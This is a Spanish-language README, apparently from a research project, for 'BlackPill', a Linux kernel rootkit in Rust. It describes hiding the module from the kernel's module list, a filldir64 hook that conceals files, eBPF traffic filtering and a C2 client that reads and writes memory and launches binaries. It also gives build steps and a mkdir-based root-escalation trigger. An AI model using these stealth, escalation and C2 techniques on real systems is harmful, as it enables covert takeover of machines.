
Un rootkit del kernel de Linux escrito en Rust que utiliza un hipervisor tipo 2 hecho a medida, y programas eBPF XDP y TC.
BlackPill es un rootkit sigiloso para Linux hecho en Rust.
El rootkit está compuesto por múltiples módulos (hablando de módulos de Rust, no de módulos del kernel):
La arquitectura se ve de la siguiente manera:

Y así es como se ejecuta el código malicioso desde el C2 hasta el invitado de la VM:

El C2 envía mnemónicos x86_64 ensamblados y manipulados al rootkit, que luego los envía al invitado de la VM para ejecutarlos. El invitado de la VM está aislado del host y puede utilizarse para ejecutar código malicioso.
El kernel no ve los paquetes maliciosos entrantes, ya que son filtrados por el programa eBPF XDP y enviados al módulo LKM, y los paquetes salientes son modificados por el programa eBPF TC.
[!IMPORTANT]
Este proyecto aún está en desarrollo. ¡No todas las funciones funcionan!
No dudes en enviar issues o pull requests.
El hooking es una capacidad fundamental del rootkit, implementada mediante kprobes en el kernel de Linux. Esta técnica intercepta y redirige la ejecución de funciones del sistema para monitorear o modificar su comportamiento. En el contexto de este rootkit, kprobes proporciona un mecanismo potente para interactuar con las funciones del kernel sin alterar directamente el código fuente.
Para garantizar el sigilo, el rootkit emplea dos mecanismos principales de detección anti-detección:
Eliminación del Módulo de la Lista de Módulos del Kernel
Cuando se carga un módulo del kernel, se añade a la lista de módulos del kernel, visible mediante herramientas como lsmod o /proc/modules. Para evitar la detección:
Hook de la Función filldir64 para Ocultar un Directorio Específico
Para ocultar los archivos utilizados por el rootkit, se implementa un hook en la función filldir64. Esta función se invoca cuando un proceso lee el contenido de un directorio (por ejemplo, mediante las llamadas al sistema getdents o readdir).
filldir64 usando kprobes./BLACKPILL-BLACKPILL (utilizado para almacenar archivos críticos del rootkit), se filtra y no se devuelve al usuario.Nuestro simple hipervisor se implementó siguiendo esto:
Configuración inicial del sistema
Entrando en modo VMX o SVM
Gestión de Transiciones entre Host e Invitado
Creación del Sistema Invitado
Comunicación
La persistencia es una capacidad crítica de cualquier rootkit, ya que le permite mantener el control sobre el sistema objetivo incluso después de un reinicio.
En su implementación actual, el mecanismo de persistencia demuestra su funcionalidad creando un archivo de prueba en el sistema de archivos mediante el comando /bin/touch. Esta acción de marcador de posición muestra la capacidad del rootkit para ejecutar operaciones privilegiadas y puede extenderse para implementar estrategias de persistencia más avanzadas.
Ahora es inútil, ya que no es nuestra prioridad crear un rootkit de nivel APT, sino investigar más en torno a conceptos menos vistos.
Se deben realizar varios pasos antes de compilar nuestro rootkit. El entorno de desarrollo se compone de:
Comienza clonando el repositorio y sus submódulos superficiales:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
En una distribución basada en Arch:
sudo pacman -S qemu-base qemu-desktop docker grub
En una distribución de Linux basada en Arch, instala Rust y otras dependencias:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
Luego necesitaremos las fuentes de Rust y bindgen:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
Asegúrate de poder comenzar a compilar tu kernel con Rust ejecutando en la carpeta linux/:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
Lanza la tarea de configuración de la primera vez, que configura y compila el kernel:
make first-time-setup
[!IMPORTANT]
Si se te pide personalizar opciones, pulsa Enter cada vez.
Puedes compilar el módulo del kernel de Rust (out-of-tree) con:
make
Lanza la VM con:
make vm
Dentro de la VM, se inicia sesión automáticamente como root. Puedes habilitar el módulo:
$ modprobe blackpill
# puedes revisar los registros del kernel con
$ dmesg
Una vez iniciada la VM, puedes usar el comando anterior para escalar tus privilegios:
mkdir ImFeelingRootNow_<PID>
Reemplaza <PID> con el ID de proceso del proceso al que quieres escalar el privilegio.
Este simple C2 envía opcodes x86-64 a la máquina infectada a través de UDP y recibe paquetes TCP. Sus funciones ahora se limitan a la interacción de bajo nivel con la máquina, pero pueden permitir muchos usos prácticos con más wrappers.
Configura el cliente de Python:
cd blackpill-c2
poetry install
poetry shell
python client.py
Después de lanzar el cliente con tus argumentos ([ip] [port]) deberías obtener:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
Luego puedes usar el comando help para mostrar los comandos disponibles:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Read 4 bytes (32 bits) memory at 'address' │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address' │
│ launch_userland_binary <path> │ Launch a userland binary at 'path' │
│ change_msr <msr> <value> │ Change the value of a Model Specific Register (MSR) │
│ read_phys_memory <address> <value> │ Read 4 bytes (32 bits) of physical memory at 'address' │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution │ Stop the execution of the guest VM │
│ change_vmcs_field <field> <value> │ Change a VMCS field to 'value' │
│ help │ Show this help message │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
Configuración del entorno:
Uso de Programas eBPF XDP y TC para Modificar el Tráfico de Red Entrante y Saliente
Para normalizar nuestras comunicaciones de red maliciosas, utilizamos programas eBPF XDP (eXpress Data Path) y TC (Traffic Control). De este modo, podemos: